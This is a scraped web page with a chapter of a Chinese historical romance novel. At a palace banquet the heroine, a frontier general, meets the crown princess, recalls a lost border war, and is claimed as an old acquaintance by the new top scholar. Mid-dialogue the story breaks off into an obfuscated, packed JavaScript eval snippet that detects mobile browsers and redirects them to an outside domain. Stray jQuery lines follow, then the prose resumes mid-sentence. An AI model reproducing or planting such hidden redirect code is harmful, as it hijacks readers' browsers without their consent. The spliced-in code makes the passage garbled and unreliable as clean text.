默认冷灰
24号文字
方正启体

21. 第 21 章

作者:鹤汀州本书字数:K更新时间:
    贺兰瑾早在众人入场时已留意到她,想必这位便是刚刚提到的太子妃,付太尉的孙女。


    长公主今日心情似乎格外好,爽朗的笑声回荡在暖阁中:“华瑾还未曾见过吧,这是太子妃。”


    贺兰瑾起身行礼:“殿下万安。”


    付洛灵笑着应下,语气里带着几分真切的热络:“前几日太子殿下回宫,同妾说起郡主飒爽英姿,妾听着就心生向往,只恨没能亲眼一睹风采。”


    贺兰瑾微微颔首,唇角勾起一抹浅淡的笑意:“华瑾班门弄斧,是太子殿下过誉了。”


    “这上京城的女眷里,论起拳脚功夫,能与你说上话的,怕是只有洛灵了。”永乐长公主接过话茬说道。“她也是一身好功夫。”


    “姑母惯会打趣我。”付洛灵故作嗔怪地抿了抿唇,语气里却藏着几分坦荡,“妾这点微末伎俩,哪里敢与郡主相提并论?郡主是能在沙场上斩将夺旗的将军,妾不过是些花拳绣腿罢了。”


    “嫂嫂这话就谦虚了。”一旁的宁王妃也笑着凑趣,“嫂嫂的功夫,我早年也常常听说呢。”


    付洛灵掩唇轻笑:“好啊,弟妹也拿我说笑,可要让郡主笑话。”


    贺兰瑾见话题始终绕着自己和付洛灵的功夫打转,便顺势接话:“殿下的威名,华瑾也早有耳闻。听闻殿下箭术得付太尉亲传,不输男儿。”


    贺兰瑾不记得季清淮,却是知道付洛灵的。


    付太尉早年留驻西境,除却几个儿子,她这个幼女也是带在身边的,比起几个哥哥,她倒是更有将门之风。她性子洒脱不羁,爽朗大气,从不拘于深闺礼数。那时,提起京中女中英杰,付洛灵之名如雷贯耳,稳稳居于榜首。


    只是如今再见,贺兰瑾忍不住打量对面的付洛灵,她轻抬素手,以帕掩面,那轻笑间,仪态优雅端庄至极。鬓边的珠翠随着她的动作轻轻晃动,映衬着她眉眼间的温婉。


    与她儿时记忆中那个笑声爽朗,眼神中透着张扬与不羁,身上总有使不完的劲儿的付家姐姐完全判若两人。


    贺兰瑾依稀记得她嫁入东宫大约也不过两年时光。


    “听闻你伤及手腕,可好些了?”宁王妃执起茶盏,指尖掠过盏沿,眼波里盈着关切。


    贺兰瑾轻轻颔首,笑意不及眼底,“好多了,有劳王妃关怀。”


    宁王妃身着月白织锦襦裙,外搭藕荷色披帛,端的是娴静如月,与向来温文尔雅的宁王倒是相配。


    长公主也适时接过话茬,语气含了一丝嗔怪:“嘉荣这孩子也是想一出是一出,好端端的学什么武。平白让人操心,还累你受伤。”


    宁王妃温润的声音响起:“郡主乃女中豪杰,嘉荣心向往之,原也是情理之中。”


    贺兰瑾心中暗暗腹诽:当今皇帝膝下有十一位皇子,如今正妃在位的不过两位,便已叫人应接不暇。若再多几位,这满屋子的寒暄客套,怕是要比战场上的箭雨还要难躲些。


    暖阁里炭火烧得正旺,几位高门夫人也上前来同长公主问安,一时相谈甚欢。话题从上京今冬的雪势,聊到江南送来的蝉翼绣品,又从新发的螺子黛颜色,转到公主府世子的课业。


    贺兰瑾静静地坐在一旁,听着她们品评“雪青色缎子配珍珠璎珞是否太素”,或是“鹿胶墨写小楷究竟比松烟墨差几分”。


    茶香袅袅,贺兰瑾指尖轻轻摩挲着杯沿。唇畔笑意未减,见话题时不时往自己身上引,却是半句话也不曾接。


    只是躲得过初一躲不过初五,永乐长公主性子直爽,索性开门见山地说道:“昨日本宫进宫面见母后,说起你的婚事,你早已是适婚年纪,从前在外面漂泊不说,如今回来了,你母亲向来对你不上心,我们做长辈的总要替你张罗,你且说说,心里可有什么打算?”


    贺兰瑾睫毛轻颤,微微抬眸望了一眼长公主又迅速低下头去,声线如浸了冰水般清润:“婚姻大事,自然全凭陛下做主、父母安排。”


    “你小时候可是敢“噔噔噔”跑过大殿,拽着皇兄的龙袍要糖吃,如今怎么生疏至此。”永乐不解,又好似突然想通说道:“你离家多年,想来是在外面吃尽苦头,如今好了,虽说你父亲去了,但皇兄也是拿你做亲女儿一般的。”


    贺兰瑾指尖僵在长公主掌心,唇角险些绷不住,差点就要笑出来。人人都道皇帝念着与父亲的旧情,可这金銮殿上的“亲女儿”,怕不是比玄鹤山的雪还要凉薄些。


    三年前那场风雪还在眼前,二哥吐血身亡,蓟北关失守,她踩着满地冻僵的箭簇,看着北安军残部如败絮般退入燕云岭。


    城墙裂缝里渗出的血水与冰碴凝结成暗红的冰晶,贺兰瑾在燕云岭守了整整十日,等了整整十日,她没有等到朝廷派主将和援兵来。


    北黎大军还会继续攻城,她不愿弃城离开,贺兰峥亲自到燕云岭替她,命人送她退至幽都。


    当时他们兄妹二人无人擅长打仗。贺兰峥想尽办法要送她离开,为的是北安侯府不能满门血脉都死在这。


    可是她不信,她不信皇帝会不管父亲,不管他们兄妹。


    “你的婚事还是要你喜欢才好。”永乐长公主的声音将她拽回暖阁。鎏金兽炉腾起的热浪里,长公主关切的眼神忽明忽暗。


    贺兰瑾垂眸掩住眼底翻涌的寒芒,袖中三年前留下的伤疤突然灼痛起来,恍惚间好像又看见自己扮做俘虏混进敌营,割下阿史那的头颅。


    那天下了大雪,她就这样带着满身的风雪和血淋淋的头闯了回去。


    那是她第一次杀人。


    忽听外头传来一声高亢的“太子殿下到————”,声浪裹挟着冬风卷进暖阁。


    太子携一众束玉带、着华服的青年才俊款步入内,这赏花宴才算是真正拉开帷幕,暖阁内环佩声此起彼伏,满室贵眷皆起身行礼。


    太子率先至长公主座前问安,腰间玉佩随动作轻晃,发出清越声响。


    贺兰瑾抬眸,一眼便看立在太子身后的沈确,他今日身着一袭猩红状元袍,暗黄的云纹自襟前蜿蜒至袖口,墨发以羊脂玉冠束起,端的是芝兰玉树。


    如今该称沈状元了。


    长公主掩唇笑谈间,贺兰瑾尚未听清言辞,便见沈确已踏过织金毯上前,袍角带起的风拂得案上茶盏轻晃,“长公主殿下谬赞,沈某惶恐。”


    “瞧瞧到底是读书人,本宫不过夸两句便红了脸。”长公主转过身撒娇般向驸马说道。


    这一回头,瞧见怔在一旁的贺兰瑾,立刻笑着将人拽到身前:“这便是大名鼎鼎的镇北大将军华瑾郡主。听闻状元郎也是北地出身,可曾听说过华瑾的名号?”


    “沈某虽浅见寡闻,却也早知将军威名。”沈确转过身,笑眼弯弯望着贺兰瑾,“何况沈某


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268388|182189||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有幸,与将军曾是旧识。”


    此话一出,如同一粒石子投进沸油,满堂惊诧,慎王追着问道:“哦?你与华瑾是旧识?如何相识的?”


    满室贵眷的目光顿时如针尖般扎来,沈确出身寒门人尽皆知,听闻进京之前连路费都是十里八乡凑起来的,实在是想不到有什么由头能与高门侯府的贺兰瑾是旧识,一时间打量的目光在贺兰瑾与沈确身上游走。


    “沈某早年与人误会重伤流落到幽都,幸得将军相救,才保下一条性命。”沈确回答道。


    贺兰瑾早已回过神,面上已扬起得体的浅笑:“护卫幽都是我分内职责,沈状元不必放在心上,还未恭喜你高中榜首。”


    “多谢将军。”沈确拱手回道。


    两人之间疏离客气让人挑不出毛病,却又总觉得有些说不清道不明的暗流在交错,众人皆各怀心思地坐着不言语。


    暖阁里静得能听见炭火烧裂的声响,直到永乐长公主轻咳一声:“倒是一桩善事。”


    接着她团扇一挥,将满室探究的视线驱散,“人可到齐了,该开宴了。”


    褚鸣玉斜倚在软垫上,脖颈抻得老长,支棱着耳朵往主位方向探了又探,偏生隔得太远,连句囫囵话都听不清。


    只见那新科状元郎满面春风地朝贺兰瑾长揖,袖口的云纹在烛火下泛着光,褚鸣玉恨不得在贺兰瑾身上放个耳朵。


    “这到底是在说什么啊,那沈状元莫不是瞧上阿瑾了。”褚鸣玉重新在软垫上坐直,随意说道。


    “是霁川哥。”青沅望着主位喃喃自语,宋萧只来及捂住青沅的嘴,堵住后半句。


    一石激起千层浪,褚鸣玉和冬酒都霍然回头,两人的目光如利刃般戳在青沅泛红的耳尖上。


    青沅摸了摸鼻尖,意识到自己脱口而出了不该说的话,懵懵地转头望向宋萧。


    宋萧也不知怎么办,只能慢慢伸开指头指向上面的人,欲盖弥彰地说道:“是沈公子。”


    褚鸣玉感觉有一些自己不知道的事情呼之欲出,她往软垫里又偎了几分,贴近青沅压低声音问道:“你刚才喊他‘霁川哥’,这是怎么回事?”


    青沅不敢说话,宋萧眼看瞒不住,破罐子破摔压低声音回道:“霁川是沈公子的字。”


    这便更令人震惊了,褚鸣玉拿扇子遮住已经不能控制表情的脸,问道:“你们怎么会知道沈状元的字?”


    “两年前,他在将军府住过一段时间。”青沅补充道。


    “哪个将军府?”褚鸣玉生怕自己有一丝一毫地误会。


    青沅满脸的理所当然:“自然是幽都的镇北将军府。”


    褚鸣玉转头再望向主位,贺兰瑾正端着茶盏发呆,而沈确已经离开主位前回到同僚的席位。


    她收回目光时,正见李牧昭俯身与贺兰瑾说话,他身着一袭深蓝色锦袍,领口处,精致的银丝勾勒出繁复的卷云纹样,微微敞开,露出白皙且线条硬朗的脖颈,锦袍袖口宽大,以素白绫罗镶边,其上用细密的蓝色丝线绣着连绵不绝的海浪图纹。


    褚鸣玉瞧了一眼李牧昭,又看了一眼正不知为何笑着的自家小姑,月白衬着藏蓝,倒像天上挂着的玄月。越看越觉得这两人莫名登对,心里没来由地一阵烦躁。


    越想越心不顺,褚鸣玉将团扇扇的飞快,早知道今日就该让贺兰瑾穿那件绯色罗锦。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)